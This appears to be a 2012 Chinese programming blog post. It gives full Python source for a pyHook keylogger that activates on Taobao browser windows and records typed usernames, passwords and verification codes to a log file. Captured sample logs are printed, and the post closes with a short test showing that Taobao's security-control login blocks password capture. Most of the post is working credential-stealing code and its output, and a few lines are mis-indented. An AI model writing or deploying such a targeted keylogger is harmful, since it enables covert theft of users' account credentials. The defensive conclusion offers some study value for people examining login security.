牛骨文教育服务平台(让学习变的简单)

Python:通过获取淘宝账号和密码的实验,来看登陆方式选择

在昨天的文章《Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中》中,我们实现了将用户输入记录到文件的功能,今天看看这一功能的实际应用。

一、实现思路:

1、判断当前用户操作的窗口,如果窗口是淘宝网的页面,则开始监控。

2、将用户在淘宝上的所有输入全部记录下来,通常这些记录中会包括用户登陆时的用户名、密码,电话、邮箱等敏感信息。

二、代码实现:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pythoncom
import pyHook
import time
import logging
import logging.config

#日志配置文件名
LOG_FILENAME = "hook_logging.conf"

#日志语句提示信息
LOG_CONTENT_NAME = "taobao_input_msg"

def log_init(log_config_filename, logname):
    """
    Function:日志模块初始化函数
    Input:log_config_filename:日志配置文件名
           lognmae:每条日志前的提示语句
    Output: logger
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-02-13
    """
    logging.config.fileConfig(log_config_filename)
    logger = logging.getLogger(logname)
    return logger

    
def onMouseEvent(event):
    """
    Function:处理鼠标左键单击事件,如果当前MSG中存放了信息,
                                 将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码
                                 框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯,
                                 所以此处要判断是否通过鼠标切换了输入窗口
    Input:even
    Output: Ture
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-03
    """
    global MSG
    if len(MSG) != 0:
       hook_logger.info("current page:%s" % event.WindowName)
       hook_logger.error("information:%s" % MSG)
        MSG = "" 
    return True
        

def onKeyboardEvent(event): 
    "处理键盘事件"  
    """
    Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入
                                   因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见
                                 的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来
                                结束输入,此时要将信息记录到日志中。
    Input:even
    Output: Ture
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-03
    """     
    global MSG
    if event.WindowName.decode("GBK").find(u"淘宝") != -1:
        if (127 >= event.Ascii > 31) or (event.Ascii == 8):
            MSG += chr(event.Ascii)
            hook_logger.info("ascii:%d(%s)" % (event.Ascii, str(event.Key)))        
        if (event.Ascii == 9) or (event.Ascii == 13):
           hook_logger.info("current page:%s" % event.WindowName)
           hook_logger.error("information:%s" % MSG)
            MSG = "" 
    return True

if __name__ == "__main__": 
    """
    Function:获取TAOBAO账号及密码
    Input:NONE
    Output: NONE
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-03
    """  
 
    #打开日志文件
    #初始化日志系统
    hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) 
    
    MSG = ""       

    #创建hook句柄
    hm = pyHook.HookManager()

    #监控鼠标
    hm.SubscribeMouseLeftDown(onMouseEvent)
    hm.HookMouse()
    
    #监控键盘
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()

    #循环获取消息
    pythoncom.PumpMessages()
    

三、测试

步骤:

 1、打开taobao页面,输入用户名及密码,并登陆,窗口截图如下:

 

2、看看后台日志文件taobao_log.log中的内容:

[2012-03-03 09:03:20,812  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 09:03:21,155  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:03:22,453  taobao_input_msg]INFO:  ascii:99(C)
[2012-03-03 09:03:23,046  taobao_input_msg]INFO:  ascii:114(R)
[2012-03-03 09:03:23,280  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:03:23,608  taobao_input_msg]INFO:  ascii:116(T)
[2012-03-03 09:03:23,890  taobao_input_msg]INFO:  ascii:101(E)
[2012-03-03 09:03:24,828  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 09:03:25,875  taobao_input_msg]INFO:  ascii:64(2)
[2012-03-03 09:03:26,921  taobao_input_msg]INFO:  ascii:103(G)
[2012-03-03 09:03:27,312  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 09:03:27,515  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:03:27,733  taobao_input_msg]INFO:  ascii:105(I)
[2012-03-03 09:03:27,953  taobao_input_msg]INFO:  ascii:108(L)
[2012-03-03 09:03:29,000  taobao_input_msg]INFO:  ascii:46(Oem_Period)
[2012-03-03 09:03:29,280  taobao_input_msg]INFO:  ascii:99(C)
[2012-03-03 09:03:29,358  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:03:29,953  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 09:03:30,390  taobao_input_msg]INFO:  current page:淘宝网 - 淘我喜欢! - Google Chrome
[2012-03-03 09:03:30,390  taobao_input_msg]ERROR:  information:socrates@gmail.com
[2012-03-03 09:03:33,140  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 09:03:33,467  taobao_input_msg]INFO:  ascii:121(Y)
[2012-03-03 09:03:34,358  taobao_input_msg]INFO:  ascii:95(Oem_Minus)
[2012-03-03 09:03:35,030  taobao_input_msg]INFO:  ascii:112(P)
[2012-03-03 09:03:35,328  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:03:35,703  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 09:03:35,875  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 09:03:36,280  taobao_input_msg]INFO:  ascii:119(W)
[2012-03-03 09:03:36,733  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:03:37,030  taobao_input_msg]INFO:  ascii:114(R)
[2012-03-03 09:03:37,421  taobao_input_msg]INFO:  ascii:100(D)
[2012-03-03 09:03:38,937  taobao_input_msg]INFO:  ascii:64(2)
[2012-03-03 09:03:40,015  taobao_input_msg]INFO:  ascii:116(T)
[2012-03-03 09:03:40,280  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:03:40,500  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:03:41,030  taobao_input_msg]INFO:  ascii:98(B)
[2012-03-03 09:03:41,265  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:03:41,421  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:03:43,405  taobao_input_msg]INFO:  current page:None
[2012-03-03 09:03:43,405  taobao_input_msg]ERROR:  information:my_password@taobao
[2012-03-03 09:03:45,765  taobao_input_msg]INFO:  ascii:83(S)
[2012-03-03 09:03:46,140  taobao_input_msg]INFO:  ascii:75(K)
[2012-03-03 09:03:47,000  taobao_input_msg]INFO:  ascii:55(7)
[2012-03-03 09:03:48,030  taobao_input_msg]INFO:  ascii:87(W)
[2012-03-03 09:03:52,233  taobao_input_msg]INFO:  current page:None
[2012-03-03 09:03:52,233  taobao_input_msg]ERROR:  information:SK7W

上面的日志中,我将用户每次的按键用info级别保存下来,当用户输入完成后,将合并后的串以ERROR级别打印出来,如果你不需要输入info级别,只需要修改日志配置文件设置打印级别高于info即可,记录日志这块的内容可见文章《Python:日志模块logging的应用》。之所以打印是为和合并后的串进行校验,并且如果用户输入过程中出现错误,使用退格键删除,可以通过ascii码识别出,从日志中可以看到,有三个关键性信息:

[2012-03-03 09:03:30,390  taobao_input_msg]ERROR:  information:socrates@gmail.com
[2012-03-03 09:03:43,405  taobao_input_msg]ERROR:  information:my_password@taobao
[2012-03-03 09:03:52,233  taobao_input_msg]ERROR:  information:SK7W

以上三条ERROR日志分别对应了我输入的用户名、密码(仅仅是个测试)、验证码。

四、我们应该怎么做?

从上面的实验可以看出,如果有人在我们电脑中植入了这样一个小程序,有可能会获取到一些敏感数据,应该如何避免呢,淘宝其实已经想好了,就是在登录时,只需要将“安全控件登陆”这个选项勾上,这样键盘的输入将不会被hook住。再次测试如下:

1、输入不变,只是勾选“安全控件登陆”,如图:

看看这次的日志信息:

[2012-03-03 09:12:11,562  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 09:12:12,187  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:12:12,733  taobao_input_msg]INFO:  ascii:99(C)
[2012-03-03 09:12:13,217  taobao_input_msg]INFO:  ascii:114(R)
[2012-03-03 09:12:13,530  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:12:13,890  taobao_input_msg]INFO:  ascii:116(T)
[2012-03-03 09:12:14,125  taobao_input_msg]INFO:  ascii:101(E)
[2012-03-03 09:12:14,390  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 09:12:15,655  taobao_input_msg]INFO:  ascii:64(2)
[2012-03-03 09:12:16,375  taobao_input_msg]INFO:  ascii:103(G)
[2012-03-03 09:12:16,717  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 09:12:16,796  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 09:12:16,953  taobao_input_msg]INFO:  ascii:105(I)
[2012-03-03 09:12:17,155  taobao_input_msg]INFO:  ascii:108(L)
[2012-03-03 09:12:17,750  taobao_input_msg]INFO:  ascii:46(Oem_Period)
[2012-03-03 09:12:17,967  taobao_input_msg]INFO:  ascii:99(C)
[2012-03-03 09:12:18,078  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 09:12:18,233  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 09:12:18,671  taobao_input_msg]INFO:  current page:淘宝网 - 淘我喜欢! - Windows Internet Explorer
[2012-03-03 09:12:18,671  taobao_input_msg]ERROR:  information:socrates@gmail.com
[2012-03-03 09:12:30,530  taobao_input_msg]INFO:  ascii:101(E)
[2012-03-03 09:12:32,546  taobao_input_msg]INFO:  ascii:54(6)
[2012-03-03 09:12:33,717  taobao_input_msg]INFO:  ascii:104(H)
[2012-03-03 09:12:34,592  taobao_input_msg]INFO:  ascii:56(8)
[2012-03-03 09:12:40,828  taobao_input_msg]INFO:  current page:None
[2012-03-03 09:12:40,828  taobao_input_msg]ERROR:  information:e6h8

可以看出,在密码框中输入的内容没有被记录下来。

五、总结

从上面的实验可以看出,登录方式设计的重要性,如果对安全性考虑不足,这块很容易被利用。对于用户来说,在我们登录一些涉及个人敏感数据的网站时,最好安装上网站提供的安全插件,再者,在输入时采用软键盘等均可以避免输入被监控。